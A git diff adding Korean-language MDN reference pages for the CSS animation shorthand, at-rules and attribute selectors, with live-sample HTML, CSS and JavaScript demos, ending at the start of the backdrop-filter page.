+<p><strong><code>animation</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a><strong> </strong>속성은 다수의 스타일을 전환하는 애니메이션을 적용합니다. {{cssxref("animation-name")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-timing-function")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-play-state")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation.html")}}</div>
+
+
+
+<pre class="brush:css no-line-numbers">/* @keyframes duration | timing-function | delay |
+iteration-count | direction | fill-mode | play-state | name */
+animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+animation: 3s slidein;
+</pre>
+
+<div class="hidden" id="animation">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;
+      Given the following animation:
+      &lt;pre&gt;@keyframes slidein {
+  from { transform: scaleX(0); }
+  to   { transform: scaleX(1); }
+}&lt;/pre&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="play" title="PLAY"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s ease-in 1s 2 reverse both paused slidein;&lt;/div&gt;
+        &lt;div class="animation a1"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="pause" title="PAUSE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s linear 1s slidein;&lt;/div&gt;
+        &lt;div class="animation a2"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="pause" title="PAUSE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s slidein;&lt;/div&gt;
+        &lt;div class="animation a3"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+ height: 100%;
+ box-sizing: border-box;
+}
+
+pre { margin-bottom: 0; }
+svg { width: 1.5em; height: 1.5em; }
+
+button {
+ width: 27px;
+ height: 27px;
+ background-size: 16px;
+ background-position: center;
+ background-repeat: no-repeat;
+ border-radius: 3px;
+ cursor: pointer;
+}
+
+button.play {
+ background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#play');
+}
+
+button.pause {
+ background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#pause');
+}
+
+button.restart {
+ background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#restart');
+}
+
+.grid {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ background: #EEE;
+ font: 1em monospace;
+}
+
+.row {
+ display: flex;
+ flex: 1 auto;
+ flex-direction: row;
+ flex-wrap: wrap;
+ justify-content: space-between;
+}
+
+.col {
+ display: flex;
+ flex: 1 auto;
+ flex-direction: column;
+}
+
+.cell {
+ box-sizing: border-box;
+ margin: .5em;
+ padding: 0;
+ background-color: #FFF;
+ overflow: hidden;
+ text-align: left;
+}
+
+.flx {
+ flex: 1 0;
+}
+
+.note {
+ background: #fff3d4;
+ padding: 1em;
+ margin: .5em;
+ font: .8em sans-serif;
+ text-align: left;
+ flex: none;
+}
+
+.overlay { padding: .5em; }
+
+@keyframes slidein {
+ from { transform: scaleX(0); }
+ to { transform: scaleX(1); }
+}
+
+.a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; }
+.a2 { animation: 3s linear 1s slidein; }
+.a3 { animation: 3s slidein; }
+
+.animation {
+ background: #3F87A6;
+ width: 100%;
+ height: calc(100% - 1.5em);
+ transform-origin: left center;
+}</pre>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+ var ANIMATION = Array.from(document.querySelectorAll('.animation'));
+ var BUTTON = Array.from(document.querySelectorAll('button'));
+
+ function toggleButton (btn, type) {
+ btn.classList.remove('play', 'pause', 'restart');
+ btn.classList.add(type);
+    btn.title = type.toUpperCase(type);
+ }
+
+ function playPause (i) {
+ var btn = BUTTON[i];
+ var anim = ANIMATION[i];
+
+ if (btn.classList.contains('play')) {
+ anim.style.animationPlayState = 'running';
+ toggleButton(btn, 'pause');
+ } else if (btn.classList.contains('pause')) {
+ anim.style.animationPlayState = 'paused';
+ toggleButton(btn, 'play');
+ } else {
+ anim.classList.remove('a' + (i + 1));
+ setTimeout(function () {
+ toggleButton(btn, i === 0 ? 'play' : 'pause');
+ anim.style.animationPlayState = '';
+ anim.classList.add('a' + (i + 1));
+ }, 100)
+ }
+ }
+
+ ANIMATION.forEach(function (node, index) {
+ node.addEventListener('animationstart', function () { toggleButton(BUTTON[index], 'pause'); });
+ node.addEventListener('animationend', function () { toggleButton(BUTTON[index], 'restart'); });
+ });
+
+ BUTTON.forEach(function (btn, index) {
+ btn.addEventListener('click', function () { playPause(index); });
+ });
+})</pre>
+</div>
+
+<p>{{EmbedLiveSample("animation", "100%", 260, "", "", "example-outcome-frame")}}</p>
+
+<p><a href="/ko/docs/Web/CSS/CSS_animated_properties">애니메이션 가능한 속성</a>을 확인해보세요. <a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">CSS 트랜지션</a>에도 적용된다는 점을 참고하세요.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<p>The <code>animation</code> property is specified as one or more single animations, separated by commas.</p>
+
+<p>Each individual animation is specified as:</p>
+
+<ul>
+ <li>zero or one occurrences of the following values:
+ <ul>
+ <li>{{cssxref("&lt;single-transition-timing-function&gt;")}}</li>
+ <li>{{cssxref("animation", "&lt;single-animation-iteration-count&gt;", "#&lt;single-animation-iteration-count&gt;")}}</li>
+ <li>{{cssxref("animation", "&lt;single-animation-direction&gt;", "#&lt;single-animation-direction&gt;")}}</li>
+ <li>{{cssxref("animation", "&lt;single-animation-fill-mode&gt;", "#&lt;single-animation-fill-mode&gt;")}}</li>
+ <li>{{cssxref("animation", "&lt;single-animation-play-state&gt;", "#&lt;single-animation-play-state&gt;")}}</li>
+ </ul>
+ </li>
+ <li>an optional name for the animation, which may be <code>none</code>, a {{cssxref("&lt;custom-ident&gt;")}}, or a {{cssxref("&lt;string&gt;")}}</li>
+ <li>zero, one, or two {{cssxref("&lt;time&gt;")}} values</li>
+</ul>
+
+<p>The order of values within each animation definition is important: the first value that can be parsed as a {{cssxref("&lt;time&gt;")}} is assigned to the {{cssxref("animation-duration")}}, and the second one is assigned to {{cssxref("animation-delay")}}.</p>
+
+<p>The order within each animation definition is also important for distinguishing {{cssxref("animation-name")}} values from other keywords. When parsed, keywords that are valid for properties other than {{cssxref("animation-name")}}, and whose values were not found earlier in the shorthand, must be accepted for those properties rather than for {{cssxref("animation-name")}}. Furthermore, when serialized, default values of other properties must be output in at least the cases necessary to distinguish an {{cssxref("animation-name")}} that could be a value of another property, and may be output in additional cases.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code><a id="&lt;single-animation-iteration-count>" name="&lt;single-animation-iteration-count>">&lt;single-animation-iteration-count&gt;</a></code></dt>
+ <dd>The number of times the animation is played. The value must be one of those available in {{cssxref("animation-iteration-count")}}.</dd>
+ <dt><a id="&lt;single-animation-direction>" name="&lt;single-animation-direction>"><code>&lt;single-animation-direction&gt;</code></a></dt>
+ <dd>The direction in which the animation is played. The value must be one of those available in {{cssxref("animation-direction")}}.</dd>
+ <dt><a id="&lt;single-animation-fill-mode>" name="&lt;single-animation-fill-mode>"><code>&lt;single-animation-fill-mode&gt;</code></a></dt>
+ <dd>Determines how styles should be applied to the animation's target before and after its execution. The value must be one of those available in {{cssxref("animation-fill-mode")}}.</dd>
+ <dt><code><a id="&lt;single-animation-play-state>" name="&lt;single-animation-play-state>">&lt;single-animation-play-state&gt;</a></code></dt>
+ <dd>Determines whether the animation is playing or not. The value must be one of those available in {{cssxref("animation-play-state")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Cylon_Eye">Cylon Eye</h3>
+
+<pre class="brush: html">&lt;div class="view_port"&gt;
+ &lt;div class="polling_message"&gt;
+ Listening for dispatches
+ &lt;/div&gt;
+ &lt;div class="cylon_eye"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.polling_message {
+ color: white;
+ float: left;
+ margin-right: 2%;
+}
+
+.view_port {
+ background-color: black;
+ height: 25px;
+ width: 100%;
+ overflow: hidden;
+}
+
+.cylon_eye {
+ background-color: red;
+ background-image: linear-gradient(to right,
+ rgba(0, 0, 0, .9) 25%,
+ rgba(0, 0, 0, .1) 50%,
+ rgba(0, 0, 0, .9) 75%);
+ color: white;
+ height: 100%;
+ width: 20%;
+
+ -webkit-animation: 4s linear 0s infinite alternate move_eye;
+ animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; } }
+ @keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; } }
+</pre>
+
+<p>{{EmbedLiveSample('Cylon_Eye')}}</p>
+
+<p>See <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Examples">Using CSS animations</a> for additional examples.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.</p>
+
+<p>Consider providing a mechanism for pausing or disabling animation, as well as using the <a href="/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Reduced Motion Media Query</a> to create a complimentary experience for users who have expressed a preference for no animated experiences.</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Animations', '#animation', 'animation')}}</td>
+ <td>{{Spec2('CSS3 Animations')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.animation")}}</p>
+
+<h3 id="Quantum_CSS_notes">Quantum CSS notes</h3>
+
+<ul>
+ <li>Gecko has a bug whereby when you animate an offscreen element onscreen but specify a delay, Gecko does not repaint on some platforms, e.g. Windows ({{bug(1383239)}}). This has been fixed in Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, planned for release in Firefox 57).</li>
+ <li>Another Gecko bug means that {{htmlelement("details")}} elements can't be made open by default using the <code>open</code> attribute if they have an animation active on them ({{bug(1382124)}}). Quantum CSS fixes this.</li>
+ <li>A further bug means that animations using em units are not affected by changes to the {{cssxref("font-size")}} on the animated element's parent, whereas they should be ({{bug(1254424)}}). Quantum CSS fixes this.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/at-rule/index.html b/files/ko/web/css/at-rule/index.html
new file mode 100644
index 0000000000..2991e685b0
--- /dev/null
+++ b/files/ko/web/css/at-rule/index.html
@@ -0,0 +1,76 @@
+---
+title: '@-규칙'
+slug: Web/CSS/At-rule
+tags:
+ - At-rule
+ - CSS
+ - CSS Reference
+translation_of: Web/CSS/At-rule
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>@-규칙</strong>은 식별자(identifier)가 뒤따르는 at 기호('<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>))로 시작하는 <a href="/ko/docs/Web/CSS/Syntax#CSS_statements" title="CSS statement">CSS 문</a>이며 다음 세미콜론('<code>;</code>' (<code>U+003B SEMICOLON</code>)) 또는 다음 <a href="/ko/docs/Web/CSS/Syntax#CSS_declarations_blocks">CSS 블록</a> 중 먼저 오는 쪽까지 모든 것을 포함합니다.</span></p>
+
+<pre class="brush: css">/* General structure */
+@IDENTIFIER (RULE);
+
+/* Example: tells browser to use UTF-8 character set */
+@charset "utf-8";</pre>
+
+<p>다음과 같이 식별자가 지정된 각각 다른 구문인 여러 at-규칙이 있습니다:</p>
+
+<ul>
+ <li>{{cssxref("@charset")}} — 스타일 시트에 의해 사용되는 문자 집합을 정의함.</li>
+ <li>{{cssxref("@import")}} — CSS 엔진에게 외부 스타일 시트를 포함하도록 알림.</li>
+ <li>{{cssxref("@namespace")}} — CSS 엔진에게 모든 콘텐츠가 XML 네임스페이스로 시작하(prefix가 붙)는 것이 고려되어야 함을 알림.</li>
+ <li><strong><em>중첩 @-규칙</em></strong> — 중첩 문의 부분 집합으로, 조건부 그룹 규칙 속뿐만 아니라 스타일 시트의 문으로 사용될 수 있습니다:
+ <ul>
+ <li>{{cssxref("@media")}} — 장치가 미디어 질의(<em>media query</em>)를 사용하여 정의된 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.</li>
+ <li>{{cssxref("@supports")}} — 브라우저가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.</li>
+ <li>{{cssxref("@document")}} {{experimental_inline}} — 스타일 시트가 적용되는 문서가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙. <em>(CSS Spec 레벨 4로 연기됨)</em></li>
+ <li>{{cssxref("@page")}} — 문서를 출력할 때 적용되는 레이아웃 변화의 양상(aspect)을 설명.</li>
+ <li>{{cssxref("@font-face")}} — 다운로드되는 외부 글꼴의 양상을 설명.</li>
+ <li>{{cssxref("@keyframes")}} — CSS 애니메이션 sequence 내 중간 단계의 양상을 설명.</li>
+ <li>{{cssxref("@viewport")}} {{experimental_inline}} — 작은 화면 장치를 위한 viewport의 양상을 설명. <em>(현재 Working Draft 단계임)</em></li>
+ <li>{{cssxref("@counter-style")}} — 미리 정의된 스타일 집합의 일부가 아닌 특정 카운터 스타일을 정의. <em>(Candidate Recommendation 단계이지만, 작성 중인 현재 Gecko에서만 구현됨)</em></li>
+ <li>{{cssxref("@font-feature-values")}} (<code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> 및 <code>@character-variant</code>와 함께)<br>
+ — OpenType에서 다르게 활성화된 기능에 대해 {{cssxref("font-variant-alternates")}}에서 일반 이름을 정의. <em>(Candidate Recommendation 단계이지만, 작성 중인 현재 Gekko에서만 구현됨)</em></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="조건부_그룹_규칙">조건부 그룹 규칙</h2>
+
+<p>속성값과 마찬가지로, 각각의 @-규칙은 다른 구문이 있습니다. 그럼에도 불구하고, 그 중 몇몇은 조건부 그룹 규칙(<strong>conditional group rules</strong>)으로 불리는 특별한 범주로 분류될 수 있습니다. 이들 문은 공통 구문을 공유하고 그 각각은 <em>중첩 문</em>(<em>규칙 집합(ruleset)</em> 또는 <em>중첩 @-규칙</em> 중 하나)을 포함할 수 있습니다. 게다가, 그들은 모두 일반 semantic 의미를 전달합니다. 그들은 모두 어떤 유형의 조건을 링크합니다, 언제라도 <strong>참</strong> 또는 <strong>거짓</strong> 중 하나로 평가하는. 조건을 <strong>참</strong>으로 평가하면, 그룹 내 모든 문이 적용됩니다.</p>
+
+<p>조건부 그룹 규칙은 <a href="http://dev.w3.org/csswg/css3-conditional/" title="CSS Conditional Rules Module Level 3">CSS 조건부 규칙 모듈 레벨 3</a>에서 정의되고 다음과 같습니다:</p>
+
+<ul>
+ <li>{{cssxref("@media")}},</li>
+ <li>{{cssxref("@supports")}},</li>
+ <li>{{cssxref("@document")}}. <em>(CSS Spec 레벨 4로 연기됨)</em></li>
+</ul>
+
+<p>각 조건부 그룹은 또한 중첩 문을 포함할 수 있기에, 불특정한 양의 중첩이 있을 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Conditional')}}</td>
+ <td>{{Spec2('CSS3 Conditional')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}</td>
+ <td>{{Spec2('Compat')}}</td>
+ <td><code>@-webkit-keyframes</code> 표준화.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/attribute_selectors/index.html b/files/ko/web/css/attribute_selectors/index.html
new file mode 100644
index 0000000000..4e9cecff26
--- /dev/null
+++ b/files/ko/web/css/attribute_selectors/index.html
@@ -0,0 +1,228 @@
+---
+title: 특성 선택자
+slug: Web/CSS/Attribute_selectors
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Attribute_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>특성 선택자</strong>는 주어진 특성의 존재 여부나 그 값에 따라 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* &lt;a&gt; elements with a title attribute */
+a[title] {
+ color: purple;
+}
+
+/* &lt;a&gt; elements with an href matching "https://example.org" */
+a[href="https://example.org"] {
+ color: green;
+}
+
+/* &lt;a&gt; elements with an href containing "example" */
+a[href*="example"] {
+ font-size: 2em;
+}
+
+/* &lt;a&gt; elements with an href ending ".org" */
+a[href$=".org"] {
+ font-style: italic;
+}
+
+/* &lt;a&gt; elements whose class attribute contains the word "logo" */
+a[class~="logo"] {
+ padding: 2px;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+ <dd><code>attr</code>이라는 이름의 특성을 가진 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 이름의 특성값이 정확히 <code>value</code>인 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 이름의 특성값이 정확히 <code>value</code>인 요소를 선택합니다. <code>attr</code> 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.</dd>
+ <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 그 특성값이 정확히 <code>value</code>이거나 <code>value</code>로 시작하면서 <code>-</code>(U+002D) 문자가 곧바로 뒤에 따라 붙으면 이 요소를 선택합니다. 보통 언어 서브코드(<code>en-US</code>, <code>ko-KR</code> 등)가 일치하는지 확인할 때 사용합니다.</dd>
+ <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 접두사로 <code>value</code>가 값에 포함되어 있으면 이 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 접미사로 <code>value</code>가 값에 포함되어 있으면 이 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 값 안에 <code>value</code>라는 문자열이 적어도 하나 이상 존재한다면 이 요소를 선택합니다.</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> i]</code></dt>
+ <dd>괄호를 닫기 전에 <code>i</code> 혹은 <code>I</code>를 붙여주면 값의 대소문자를 구분하지 않습니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)</dd>
+ <dt><a id="case-sensitive" name="case-sensitive"><code>[attr operator value s]</code></a> {{experimental_inline}}</dt>
+ <dd>괄호를 닫기 전에 <code>s</code> 혹은 <code>S</code>를 붙여주면 값의 대소문자를 구분합니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="링크">링크</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+ color: blue;
+}
+
+/* Internal links, beginning with "#" */
+a[href^="#"] {
+ background-color: gold;
+}
+
+/* Links with "example" anywhere in the URL */
+a[href*="example"] {
+ background-color: silver;
+}
+
+/* Links with "insensitive" anywhere in the URL,
+ regardless of capitalization */
+a[href*="insensitive" i] {
+ color: cyan;
+}
+
+/* Links with "cAsE" anywhere in the URL,
+with matching capitalization */
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Links that end in ".org" */
+a[href$=".org"] {
+ color: red;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;&lt;a href="#internal"&gt;Internal link&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="http://example.com"&gt;Example link&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#InSensitive"&gt;Insensitive internal link&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="http://example.org"&gt;Example org link&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("링크")}}</p>
+
+<h3 id="언어">언어</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* All divs with a `lang` attribute are bold. */
+div[lang] {
+ font-weight: bold;
+}
+
+/* All divs in US English are blue. */
+div[lang~="en-us"] {
+ color: blue;
+}
+
+/* All divs in Portuguese are green. */
+div[lang="pt"] {
+ color: green;
+}
+
+/* All divs in Chinese are red, whether
+ simplified (zh-CN) or traditional (zh-TW). */
+div[lang|="zh"] {
+ color: red;
+}
+
+/* All divs with a Traditional Chinese
+ `data-lang` are purple. */
+/* Note: You could also use hyphenated attributes
+ without double quotes */
+div[data-lang="zh-TW"] {
+ color: purple;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/div&gt;
+&lt;div lang="pt"&gt;Olá Mundo!&lt;/div&gt;
+&lt;div lang="zh-CN"&gt;世界您好!&lt;/div&gt;
+&lt;div lang="zh-TW"&gt;世界您好!&lt;/div&gt;
+&lt;div data-lang="zh-TW"&gt;世界您好!&lt;/div&gt;</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("언어")}}</p>
+
+<h3 id="HTML_정렬_목록">HTML 정렬 목록</h3>
+
+<p>{{htmlattrxref("type", "input")}} 특성은 주로 {{htmlelement("input")}} 요소에 사용하므로, HTML 명세는 type의 대소문자를 구분하지 않고 선택하도록 요구하고 있습니다. 그러므로 {{htmlelement("ol")}}의 {{htmlattrxref("type", "ol")}}을 특성 선택자로 선택할 땐 {{anch("case-sensitive", "대소문자 구분")}} 수정자를 지정하지 않으면 동작하지 않습니다.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">/* List types require the case sensitive flag due to a quirk in how HTML treats the type attribute. */
+ol[type="a"] {
+ list-style-type: lower-alpha;
+ background: red;
+}
+
+ol[type="a" s] {
+ list-style-type: lower-alpha;
+ background: lime;
+}
+
+ol[type="A" s] {
+ list-style-type: upper-alpha;
+ background: lime;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;ol type="A"&gt;
+  &lt;li&gt;Example list&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("HTML_정렬_목록")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>특성값 내에 존재하는 ASCII 문자의 대소문자를 구분하지 않는 수식자(modifier)를 추가하였습니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.attribute")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS {{cssxref("attr")}} 함수</li>
+</ul>
diff --git a/files/ko/web/css/backdrop-filter/index.html b/files/ko/web/css/backdrop-filter/index.html
new file mode 100644
index 0000000000..62921e2fcc
--- /dev/null
+++ b/files/ko/web/css/backdrop-filter/index.html
@@ -0,0 +1,146 @@
+---
+title: backdrop-filter
+slug: Web/CSS/backdrop-filter
+tags:
+ - CSS
+ - CSS Property
+ - Graphics
+ - Layout
